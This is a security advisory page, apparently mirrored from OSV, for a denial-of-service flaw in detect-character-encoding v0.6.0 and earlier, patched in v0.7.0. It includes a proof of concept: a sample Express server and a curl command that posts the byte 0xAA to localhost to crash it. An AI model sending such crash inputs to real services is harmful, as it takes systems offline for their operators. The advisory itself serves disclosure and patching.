Lucene search

K
osvGoogleOSV:GHSA-JQFH-8HW5-FQJR
HistoryAug 25, 2021 - 2:44 p.m.

Improper Handling of Exceptional Conditions in detect-character-encoding

2021-08-2514:44:48
Google
osv.dev
9

0.002 Low

EPSS

Percentile

59.2%

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High)
Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the β€œreasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.

Proof of concept

const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);

printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.

CPENameOperatorVersion
detect-character-encodinglt0.7.0

0.002 Low

EPSS

Percentile

59.2%

Related for OSV:GHSA-JQFH-8HW5-FQJR